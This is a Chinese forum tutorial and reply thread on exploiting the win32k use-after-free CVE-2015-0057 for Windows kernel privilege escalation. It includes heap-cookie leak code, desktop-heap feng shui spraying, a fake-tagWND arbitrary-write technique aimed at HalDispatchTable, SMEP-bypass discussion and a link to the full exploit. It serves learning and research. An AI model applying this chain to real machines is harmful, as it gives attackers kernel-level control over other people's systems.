    +0x000 Reserved         : Ptr64 Void
    +0x008 FunctionIndex    : Uint2B
    +0x00a ContextValue     : Uint2B
    +0x008 InterceptorValue : Uint4B
    +0x00c UnusedBytesLength : Uint2B
    +0x00e EntryOffset      : UChar
    +0x00f ExtendedBlockSignature : UChar
    +0x000 ReservedForAlignment : Ptr64 Void
    +0x008 Code1            : Uint4B
    +0x00c Code2            : Uint2B
    +0x00e Code3            : UChar
    +0x00f Code4            : UChar
    +0x008 AgregateCode     : Uint8B

你可以去查看写原语残缺的时候dump的内存. 你会发现heap entry的内容是可控的. 里面包含当前堆块的大小等信息. 所以, 现在假设一种状况:

[+] 我们通过SetPropA. 控制了_HEAP_ENRTY
[+] 通过控制_HEAP_ENRTY, 修改了这个_HEAP_ENRTY代表的堆块大小为A(包含后面的tagWND)
[+] 通过DestroyWindow函数, 释放这个堆块
[+] tagWND一并被释放, 照成了新的UAF漏洞
[+] 重新构造一个假的tagWND, 使用这个假的tagWND来进行write_what_where

基于此, 新的问题就产生了

[+] 怎么让堆分配的布局为psbInfo + windows text + tagWND==> 风水布局
[+] _HEAP_ENRTY的内容应该是什么 ==> heap cookie
[+] 构造怎样的tagWND ==> 漏洞如何利用

这是我们后面主要需要讨论的. 所以我们从简单的说起.

构造假的_HEAP_ENTRY: heap cookie

我在heap cookie上花了大量的时间, 因为当时找的资料并不多, 大多数都是堆内部管理的资料. 我想找一个泄露cookie的资料, 死活没有找到. 所以最后在通过阅读源码+阅读堆内部管理的理论知识, 解决了这个问题.

 

首先, 我们假设要伪造的_HEAP_ENTRY所关联的堆大小是0x1b0(后面解释为什么为这个值), 堆是以0x10的为一个单位. 前面我们可以看到前面的_HEAP_ENTRY结构体偏移0x8处即为size, 那么我们直接把这个值改为0x1b(记住以0x10为单位). 那么是不是就ok了呢.

 

如果这样做的话, 我们就会被安排的明明白白. windows呢, 很久以前就知道有人想弄它的堆. 所以他就实现了一个Cookie. 来保护它的堆. 保护的过程如下.

heapCode[11] = heapCode[8] ^ heapCode[0] ^ heapCode[10] // 构造smalltagIndex
heapCode ^= cookie(系统每次开机的时候一个随机值);

windows在每次开机的时候, 都会有一个随机的cookie值生成. heapChunk 释放状态的时候.

heapChunk ^= cookie

if(heapCode[11] != heapCode[8] ^ heapCode[9] ^ heapCode[10])    //类似于这种判断
    BSOD

所以我们的heapChunk不能乱搞, 我们只单单改大小是过不了堆的检测的. 我们如何构建一个能通过检测的堆. 首先, 假设我们已经获取正确的cookie(此时假设为). 我们dump一下还没有被覆盖的heap

 100055e4`699dfbd6
 我们进行异或: 
 偏移0x8处: d6 fb 9d 69 e4 55 00 10(小端序)

算下small tagIndex

heapCode[11] = heapCookie[8](替换为0x1b) ^ heapCookie[9] ^ heapCookie[10]

OK, 之后:

heapFaleChunk = heapCode[11] ^ cookie就可以了.

这里你可能有一个小小的疑惑, 为什么我要dump解密之后再加密. _HEAP_ENTRY 在未与cookie异或之前, 不管你怎么电脑开机, 每次除了smalltagIndex之外, 应该都是一样的(这个地方可能有点问题, 但是这是我调试得出的结论.). 所以你直接dump改变大小, 重新赋值size. 再和cookie进行异或就可以使用了了. 当然, 你也可以选择具体深究_HEAP_ENTRY结构体的每一个成员, 算出他们每一个的值.

 

这一部分我自己的开发过程中. 根本没有管这个cookie. 反正电脑是虚拟机. 那么保存镜像. 每次都是一样的. 那么我只要用调试器获取一个cookie. 然后就可以用了.

 

我们来讲一下如何用代码来泄露此cookie(这一部分我其实不是独立开发, 用的别人代码调试理解)

BYTE *Addr = (BYTE *)0x1000;
ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;

while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
{
    if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
    {
        if (*(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee) // 说明我们找到了桌面堆的映射...
        {
            if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap))    //绕过这个地方相加等于堆
            {
                BYTE* cookieAddr = (BYTE*)MemInfo.BaseAddress + 0x80;

                // 自己写一个for循环的来实现复制
                for (int i = 0; i < 0x10; i++)
                {
                    cookies[i] = cookieAddr[i];
                }

                return TRUE;
            }
        }
    }
    Addr += MemInfo.RegionSize;
}

return FALSE;

这一部分我是如何理解的呢(这个地方我是通过调试器理解+原理, 所以可能有误, 因为实在没有找到现成的详细解释的资料, 所以实在抱歉). 我注意到上面有几个常量. 刚好可以和_HEAP对应起来.

kd> dt nt!_HEAP d62f960000
[...]
+0x010 SegmentSignature : 0xffeeffee
[...]
+0x080 Encoding         : _HEAP_ENTRY
[...]

我dump了几个_HEAP的数据, 发现他们的0x10处都为0xffeeffee, 所以依据此可以判断此内存块存放_HEAP结构.

 

接着通过下面的这张图:
desktop heap

 

Desktop heap会有一份堆映射到user space, 也就是我们可以用virtualAlloc可以查询到的, 每一个Desktop heap在kernel中的地址和映射到内核中的地址是固定的, 如果满足user space address + offset = kernel space address. 说明到了Desktop heap对应的_HEAP结构, 接着偏移0x80的地方存放的是我们的cookie值.

伪造怎样的tagWND: 漏洞如何利用

我们前面讲过, tagWND里会有一个strName, 与NtUserSetText函数关联, 期间strName是一个nt!_LARGE_UNICODE_STRING结构体.

kd> dt _LARGE_UNICODE_STRING
    win32k!_LARGE_UNICODE_STRING
    +0x000 Length           : Uint4B ==> windows text的长度
    +0x004 MaximumLength    : Pos 0, 31 Bits ==> 最大长度
    +0x004 bAnsi            : Pos 31, 1 Bit 
    +0x008 Buffer           : Ptr64 Uint2B ==> 指向字符串的指针

我们知道我们差的是write_what_where:

[+] where: 把这个值写入strName.buffer对应的指针
[+] what: 使用NtUserSetText将what数据写入 

这就是我们整体的利用思路, 举个例子, 我们不是要写nt!halDispatchTagble+0x8的值为shellcode么.

[+] 假设nt!halDispatchTable+0x8的值为0xFFFFFFFFFF
[+] 篡改strName.buffer值为0xFFFFFFFFFF
[+] 把NtUserSetText的第二个参数改为ShellCode Address

ok, 现在我们的剩下的唯一问题就是我们如何把布局变成我们想要的布局.

fengshui布局

很多时候名字是一个有意思的事, 比如fengshui布局. 光从一个名字我们能得到什么.

[+] 我不是学风水的, 所以在我眼里风水就是指周围环境很适合做某事.

对于这个漏洞利用来说, 什么样的环境是我们需要的呢. 前面我们说过.

[+] 首先漏洞触发窗口的psbinfo
[+] 其次是一个windows text, 以便于我们覆盖它的_HEAP_ENTRY. 
[+] 最后放一个tagWND. 利用它的strName.buffer进行任意地址的读写.

所以我们期望的布局图示如下.

 

feng shui 布局成果

 

我在风水布局上面花了相当长的一段时间. 因为对两个地方理解有误导致.

[+] 存储tagWND最好是0x180
[+] desktop和pool不一样.

如果听不懂就对了. 我们来搞懂他.(这一部分建议看看我的源码, 虽然很丑)

 

首先. 由前面我们知道.

memset(o1str, '\x40', 0x1e0 - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, 0x1e0 - _HEAP_BLOCK_SIZE - 2);
NtUserDefSetText(sprayWnd_1[i], &o1lstr);

通过上面的代码片段我们分配了0x1e0大小的桌面堆块, NtUserDefSetText函数是我进行堆喷射的接口. 通过它我们能够的到任意大小的heap.

 

于是, 为了实现上面的堆分配. 我一开始分配了0x300个0x1e0Desktop heap.
feng shui 布局

 

之后为了防止堆块合并, 我进行了隔一个进行free.
feng shui 布局

 

free之后, 我通过两次填充, 布局如下:
feng shui 布局

 

很好, 我们释放此0x1b0的数据, 接着先填充0x180, 在填充0x30的数据. 在释放0x180之后, 我们申请tagWND, 如下:
feng shui 布局

 

接着隔一释放我们另外的0x1e0的数据块, 一堆循环重复之后, 我们实现了我们想要的布局.

 

很抱歉, 这一部分实在讲的不够好. 一个是我实在不会做gif图, 那种彩色图实在是不会做, 如果后面我学会了, 这一部分会重新更新. 另外一部分, 我总感觉绕了很多的弯路, 幸运的是, 他是可靠的.

 

我依据的原则如下:

[+] tagWND适合0x180, 这一部分通过调试验证来的
[+] 当一个块处于free态, 另外一个分配的内核块会往前面挤
[+] 如果一个块大小为0x30. 那么先分配0x20, 再去分配0x10. 如果不这样做, 很容易0x10+0x10+0x10
[+] Desktop heap 用heap来fengshui, 和pool不一样
[+] NtUserDefSetText ==> 分配任意大小heap的接口函数
[+] DestoryWindow ==> free heap块的接口

在实现了布局之后, 我们的漏洞利用就结束了. 只要构造一个假的tagWND, 改变其strname.buffer值, 就能够实现我们的任意地址读写.

总结

exp总结

在我学习heap cookie的过程中, 我查阅资料的时候发现, 这是ddctf的第二题... 于是, 我看到出题的keenjoy98师傅说.

[+] 来自 Pangu 的 Slipper 和 360 Vulcan 的 "我叫0day谁找我_" 先后提交了第一道题目的答案,​虽然 ExpCode 还需打磨,但两位同学的答案都是合格的。恭喜他们!(不远万里前来欺负在校大学生 :P)

那一瞬间觉得整个人都凉了, 因为我的代码, 何止需要打磨, 简直需要回炉重造. 一开始还是有代码组织的, 后来自从heap cookie开始, 每一天想的都是如何实现功能, 根本没有想组织的心情. 所以那是一份相当不堪入目的代码.

 

另外一个问题是死锁, 如果你观察我的代码, 能看到很多的Sleep函数, 原因来源于, 其实exp的开发很久以前就完工了. 但是有个很奇怪的事, 当我运行在调试某些地方写入__debugbreak的时候, 我在最后运行的时候, 我可以运行cmd, 但是去掉这些__debugbreak(), 在调试器当中我打印出Token已经被替换了. 但是就是没有cmd产生. 于是我dump了一下此时卡住时候的堆栈. 发现是由于windows的消息卡住了. 于是我花费了三四天的时间在研究如何绕过死锁. 最后实在没有找到方法(因为操作系统实在是太菜了). 有一天, 我想, 既然我那么多个__debugbreak()可以抛出cmd, 那么我是不是能够通过模仿__debugbreak的行为来绕过死锁呢. 我一开始选取了for循环, 但是在vs 万恶的优化下, 自动帮我去掉了, 所以我最后选取了Sleep(5000)函数, 成功的帮我绕过了死锁.

win32k tips总结.

首先, 这一部分只算是我自己的想法. 所以不算是教科书般的定义... 所以请把他当作是一种讨论, 不要当作教条.

关于逆向代码

win32k是一个很大很大的东西, 也就是说, 就算给了你源代码写了详细的注释, 可能你都得花一辈子的时间去理解阅读, 估计是比等名侦探柯南完结更久的时间. 所以, 尽量少去静态逆向win32k的代码. 很多时候, 动态调试能帮你省去很多时间. 我自己做的过程中, 必须需要逆向的代码, 体现在漏洞触发的时候, 我需要理解代码如何才能抵达漏洞触发的那个点的位置. 基于这种情况下. 一般的有用的资料是.

[+] RectOS: 一个开源项目, 仿照写windows NT
[+] windows NT 4.0: windows NT源码泄露的版本, github能搜到.
[+] 汇编代码: 通过阅读汇编代码进行调试分析, 分析关键处寄存器内存等的值.

说到底, 我只是想写提权而已. 每一年都有无数个win32k漏洞被爆出来, 每次的漏洞的函数都不一样, 存在很大的可能性, 在你一年之后, 回想一年前的代码你已经忘记的干干净净了. 所以, 纠结于这个函数到底干嘛, 这个结构体到底在干嘛, 我觉得并不一定是合适. 相反, 与我而言. 更重要的是.

[+] 我拿到一个POC ==> 能定位到关键代码么
[+] 定位到关键代码之后 ==> 我能确定我要利用的是哪一个部分么.
[+] 知道利用的点之后 ==> 我知道哪里找资料获取相关的信息抵达这个利用点么.

拥有能力我觉得是比使用能力更重要的事. 因为如果你有能力, 剩下的过程不过是循环往复, 调试改正. 这样.

关于windows内核提权exp的编写.

可能看了上面的东西你有点小小的难受, SMEP, heap cookie... 这都啥啥啥.... 但是一个好消息. 如果你阅读完全文之后, 你会发现. 其实大多数是依赖于操作系统. 和你此次的利用哪一个漏洞代码其实无关. 也就是说, 这一部分的东西, 你只要学习一次就好. 我觉得这是一个很好的消息. 意味着,如果你是一个懒惰的人, 大可以翻翻有没有开源的库, 别人已经编写好的代码直接用就好了. 类似于这样.

#include "exploit_wjllz.h"

int main()
{
    SmepBypass();   //SMEP绕过
    exploit();
}

但是我们都做到内核来了, 了解原理可能是基于习惯吧... 所以前面浪费了大多数的篇幅.

 

另外一个方面, 在我exp的开发过程中, 大多数时候都借用了调试器和虚拟机的特性.

[+] windbg: 可以帮我模拟SMEP绕过. heap cookie, write_what_where
[+] 虚拟机镜像: 可以帮我模拟绕过KASLR

也就是, 我可以通过这个来先验证自己的思路对不对, 剩下的知识都是死知识, 不断地去补充调试就好了.

关于windows内核win32k

win32k的漏洞的本质(我认为的), 因为自己也是学习的过程, 所以只能给出探讨, 无法给出结论. 希望你不要介意.

[+] user callback

这个地方一直是我师父给我讲的, 开发者假设和攻击者假设的区别.

[+] 开发者假设: 我的内核数据很重要, 最好全部由我来管理. 外部的数据只能通过我提供的接口来进行相应的修改.
[+] 攻击者假设: 基于某种可能, 我能够利用user callback的函数, 使本来应该运行在内核中的程序流. 回到我的callback. 在这里, 我能依据漏洞点. 修改数据. 突破开发者假设.

实验结果验证

如下:

 

提权验证

相关链接

[+] sakura师傅博客: http://eternalsakura13.com/
[+] 小刀师傅的博客: https://xiaodaozhi.com/
[+] 我的博客: http://www.redog.me/
[+] 本文exp地址:  https://github.com/redogwu/blog_exp_win_kernel/blob/master/cve_2015_0057_exp.zip
[+] ncc gruop: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/july/exploiting-the-win32kxxxenablewndsbarrows-use-after-free-cve-2015-0057-bug-on-both-32-bit-and-64-bit-tldr/
[+] cve-2015-0057: http://hdwsec.fr/blog/20151217-ms15-010/
[+] keenjoy98老师: https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology-wp.pdf
[+] smep绕过: https://www.secureauth.com/labs/publications/windows-smep-bypass-us
[+] 内核泄露: https://github.com/sam-b/windows_kernel_address_leaks

后记

UAF系列可能要先停一段时间, 因为8410没有分析完, 多多少少还有些不太甘心. 还有一部分是由于要找实习了, 所以可能得慢一点...所以后面会更新一些其他类型的内核漏洞. 我的个人计划是把学习过程中的每个类型的漏洞更新三篇,所以其他的UAF漏洞, 如果实在有意思的话, 我会更新在我的博客上面. 如果你不嫌弃的话, 可以去上面翻翻(现在博客还挺破烂的)

 

最后, wjllz是人间大笨蛋.


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2018-10-17 23:59 被wjzid编辑 ,原因: 更新一个重要的链接(调试的时候使用最多)
收藏
点赞2
打赏
分享
打赏 + 2.00雪花
打赏次数 1 雪花 + 2.00
 
赞赏  junkboy   +2.00 2018/10/15
最新回复 (23)
雪    币: 618
活跃值: (372)
能力值: (RANK:150 )
在线值:
发帖
回帖
粉丝
wjzid 3 2018-10-15 09:51
2
0
图片应该是上传完了...
最后于 2018-10-15 10:53 被wjzid编辑 ,原因:
雪    币: 6510
活跃值: (2511)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2018-10-15 11:36
3
0
感谢分享
雪    币: 618
活跃值: (372)
能力值: (RANK:150 )
在线值:
发帖
回帖
粉丝
wjzid 3 2018-10-15 11:49
4
0
netwind 感谢分享
谢谢老师
雪    币: 38
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
大蛇丸 2018-10-15 11:50
5
0
小妹妹你到底是有多少个师傅。。。
雪    币: 618
活跃值: (372)
能力值: (RANK:150 )
在线值:
发帖
回帖
粉丝
wjzid 3 2018-10-15 11:59
6
0
Jeasnc 小妹妹你到底是有多少个师傅。。。
一个... 不对, 我不是小妹妹
最后于 2018-10-15 12:02 被wjzid编辑 ,原因:
雪    币: 11716
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
junkboy 2018-10-15 12:59
7
0
支持
雪    币: 190
活跃值: (79)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
leeqwind 2018-10-15 13:17
8
0
赞~~~~~
雪    币: 283
活跃值: (998)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhangheil 2018-10-15 15:11
9
0
简单看了下开头 我想问下如果一个提权漏洞需要 手动去写某地址或者说需要其他漏洞去任意读写某地址 这还叫漏洞么 有什么价值呢
雪    币: 283
活跃值: (998)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhangheil 2018-10-15 15:13
10
0
或者说如果 我已经可以任意读写 那这样的漏洞不是可以 造出很多个么
雪    币: 618
活跃值: (372)
能力值: (RANK:150 )
在线值:
发帖
回帖
粉丝
wjzid 3 2018-10-15 15:56
11
0
zhangheil 简单看了下开头 我想问下如果一个提权漏洞需要 手动去写某地址或者说需要其他漏洞去任意读写某地址 这还叫漏洞么 有什么价值呢
对不起, 可能是因为我没有讲的太清楚, 大概是这样, 手动写某地址其实可以拆成两步. 定位数据. 写数据. 这两个都是可以通过和具体漏洞关联用代码来实现的. 后面有介绍代码实现. 我做东西喜欢倒推. sorry.
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 15 2018-10-15 19:26
12
0
小妹妹太强了,膜拜
雪    币: 23
活跃值: (57)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
gd菜鸡 2018-10-15 21:58
13
0
膜师傅,tql !
雪    币: 6081
活跃值: (1182)
能力值: (RANK:30 )
在线值:
发帖
回帖
粉丝
CCkicker 2018-10-17 13:37
14
0
雪    币: 23
活跃值: (57)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
gd菜鸡 2018-10-17 20:56
15
0
2333 学习一波
最后于 2018-10-17 21:18 被gd菜鸡编辑 ,原因:
雪    币: 1604
活跃值: (640)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
shayi 9 2018-10-19 17:20
16
0
大神您好,看了您的第二篇精彩文章,有些问题我还搞不清楚(懒得自己去研究了),向您请教一下:
1. 你那个内核提权shellcode应该就是通过当前进程的EPROCESS 结构遍历EPROCESS 链,找到 system 进程的EPROCESS 结构,将它的 token 复制到当前进程的 token,实现提权吧?
2.利用 ntdll 导出的 NtQueryIntervalProfile ,调用内核下同名称的 API,传入精心制作的参数,启动提权过程?
3. 禁用 SMEP 需要一次在 Ring3 下对CR4 的初始写操作,但 CR4 应该只能在 Ring0 下可访问,从你给出的代码来看
   nt!KiConfigureDynamicProcessor+0x40:
    fffff802`005f97cc 0f22e0          mov     cr4,rax
    fffff802`005f97cf 4883c428        add     rsp,28h
    fffff802`005f97d3 c3              ret
应该是通过设置 rax 的值禁用 SMEP ;问题在于,KiConfigureDynamicProcessor,是内核私有 API,你没讲清楚,为何 Ring3 下调用 ntdll 导出的 NtQueryIntervalProfile,会最终调用到 KiConfigureDynamicProcessor?至少给个栈回溯或流程图比较清晰吧?
4.给出代码:

void * p = (void*)0x100000;
p = VirtualAlloc(p, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(p, 0x41, 0x1000);
CopyMemory((VOID*)0x100300, shellCode, 0x200);

应该是分配一个起始地址 0x100000 ,4KB 的可执行虚拟页,然后把 shellCode 引用的64位地址内容复制到从  0x100300 开始的32位地址处?
5.  如果 nt!HalDispatchTable 受限于64位 Patch Guard 检查,可能在你还原修改前就被检测到,然后蓝屏。必须在修改前禁用 Patch Guard 
6. 整个 demo_time.exe  exploit 运行在用户空间,因此也受限于 ASLR,换言之,每次 demo_time.exe 启动时的加载基地址都不一样,因此没有前面的虚拟页分配,NtQueryIntervalProfile(0x100300, (PULONG)&newcr4); 执行第二次就会蓝屏了吧?
7。 GetProcAddress 一般只能用来获取过程的地址,把它用来获取数据结构 HalDispatchTable 的地址倒还蛮新奇的。你的思路是:在用户空间中模拟 ntoskrnl.exe 的加载、找出 HalDispatchTable 相对前者的偏移;因为无论 ntoskrnl.exe 载入到内核还是用户空间,HalDispatchTable  的偏移量不变;所以这个 offset 加上 ntoskrnl.exe 的内核基地址(通过用户态 API NtQuerySystemInformation 获取),就得到了 HalDispatchTable 的内核基地址。
最后于 2018-10-19 17:22 被shayi编辑 ,原因:
雪    币: 618
活跃值: (372)
能力值: (RANK:150 )
在线值:
发帖
回帖
粉丝
wjzid 3 2018-10-20 01:02
17
0
shayi 大神您好,看了您的第二篇精彩文章,有些问题我还搞不清楚(懒得自己去研究了),向您请教一下:1. 你那个内核提权shellcode应该就是通过当前进程的EPROCESS 结构遍历EPROCESS 链,找 ...
师傅, 您好, 很抱歉原来文章有些问题没有说的清楚. 以及, 我不是大神了...
    [+] 第一个问题就是您说的思路: 我们可以根据那个链表去遍历找到system. 我主要参考文章是这两篇.
            ==> https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-1
            ==> https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access-token/
       第一篇文章是针对64的shellcode来写的. 自己写的过程主要是替换偏移值(如Token等).  第二篇文章对于我自己漏洞开发其实最重要的一篇. 以前在博客上面做过笔记, 但是由于博客出了点问题, 就不见了... 这篇文章帮助我学习了token替换的思路, 以及教会了我最重要的用调试器学习, 然后用代码来模拟的思想. 如果您有时间的话. 可以看一看.

       [+] 第二个问题是如何最终运行shellcode. 大概是, haldispatchtable类似于一个函数指针数组, 如果你能够篡改其中某个项(这个地方你可以看看我的haldispatchtable的截图, 高亮那个就是)的值为shellcode, 那么你就能运行你的shellcode了, 遗憾的是haldispatchtable是内核地址, 我们不能任意对内核地址进行写操作. 所以我们得通过漏洞构造任意读写的机会. 这是最简单的思路, 但是由于win8的smep, 直接去shellcode会失败. 所以们先让他跳到能够禁掉semp的rop链.
       [+] 第三个问题就是第二个问题, 我们把Hook的地址改为kiConfigureDynamicProcessor的地址. 在禁用SMEP之后由于参数的精心构造会跳到我们的shellcode中去.
              ==> 没有流程图, 因为我不会做....
              ==> 没有栈回溯, 因为当时写文章的时候心情太差了, 觉得应该调试可以自己调试出来的, 就没有写.... 本来准备做个调试截图的...
[+] 第四个问题在我的文章当中有些... 如果你直接不做任何预处理, shellcode的地址可能是7FFF FFFF FFFF FFFF. 但是由于传入参数是ecx, 所以只能传入0000 0000 FFFF FFFF... 所以我采取了这种迂回的方式. 在blackhat的2014的另外一篇文章有一个更高深的方法,来解决这个缺陷... 思路大概是清理栈利用伪造参数.. 但是我对那个API不是很熟, 所以我觉得换了个思路. 假设一开始就是 0000 0000 FFFF FFFF, 那么即使是ecx也无所谓了...
[+] 第五个问题. 我不是很清楚这个问题. 因为我也是学习的过程, 所以patch guard我也不太懂. 但是我当时的代码里面, 应该是在执行完shellcode之后再把这个值写回去了(maybe.. ). 利用这个漏洞, 读写都是一件很简单的事..
【+】 第六个问题我觉得应该如你所说, 我自己来实现我的漏洞利用做的是不断的开机重启虚拟机进行检测. 来检验是否可靠. 但是我觉得, 如果我在程序结束之前把原值还回去. 那么这个问题应该是不存在的. 一般来说, HOOK之后不都是要修复的么...  这一部分这几天可能没办法做.. 因为在做另外一个洞的利用. 隔段时间我会尝试组织一下代码结构以及深究一下死锁.
[+] 第七个问题. 算是学习的收获吧. 我一开始也是觉得只能获取函数地址, 后来调试分析发现数据结构地址也能获取. 找它的基地址类似于一种线段相等的感觉. 长度一定, 获取以前就可以算的出.

可能文章会有出错的地方. 因为实力问题. 欢迎您的指正. 如果还有什么其他的疑惑的话. 您可以通过我的QQ(2953427564)联系我, 我会的就一定说...

最后于 2018-10-20 01:02 被wjzid编辑 ,原因:
雪    币: 2473
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
PYGame 2018-10-20 04:50
18
0
dbgview出来了?
雪    币: 3562
活跃值: (422)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 2 2018-10-20 18:11
19
0
tql tql
雪    币: 192
活跃值: (94)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
古朴 2018-10-20 18:40
20
0
能否详细概述下女装大佬的学习历史,萌新特好奇,也特需要个方向。
雪    币: 618
活跃值: (372)
能力值: (RANK:150 )
在线值:
发帖
回帖
粉丝
wjzid 3 2018-10-20 19:29
21
0
古朴 能否详细概述下女装大佬的学习历史,萌新特好奇,也特需要个方向。
我自己也是瞎学 主要是因为自己做的也不是太好, 所以不敢乱说... ctf的话, 你可以问问上面的holing师傅, 我老大!

女装是不可能女装的, 这辈子都不会女装的.
最后于 2018-10-20 19:30 被wjzid编辑 ,原因:
雪    币: 618
活跃值: (372)
能力值: (RANK:150 )
在线值:
发帖
回帖
粉丝
wjzid 3 2018-10-20 19:30
22
0
PYGame dbgview出来了?
enen
雪    币: 192
活跃值: (94)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
古朴 2018-10-20 21:36
23
0
严重甩锅。
雪    币: 292
活跃值: (680)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 2 2018-10-22 15:22
24
0
shayi 大神您好,看了您的第二篇精彩文章,有些问题我还搞不清楚(懒得自己去研究了),向您请教一下:1. 你那个内核提权shellcode应该就是通过当前进程的EPROCESS 结构遍历EPROCESS 链,找 ...
PatchGuard当前主要还是针对SDT,GDT,IDT以及text段部分(代码段部分针对hook),hal!HalDispatchTable所述hal的.data段应该不受patchguard限制,目前微软对修改vtable的限制方法是将很多易利用的dispatchtable放在.rdata段,这样往只读段写入会BSoD
游客
登录 | 注册 方可回帖
返回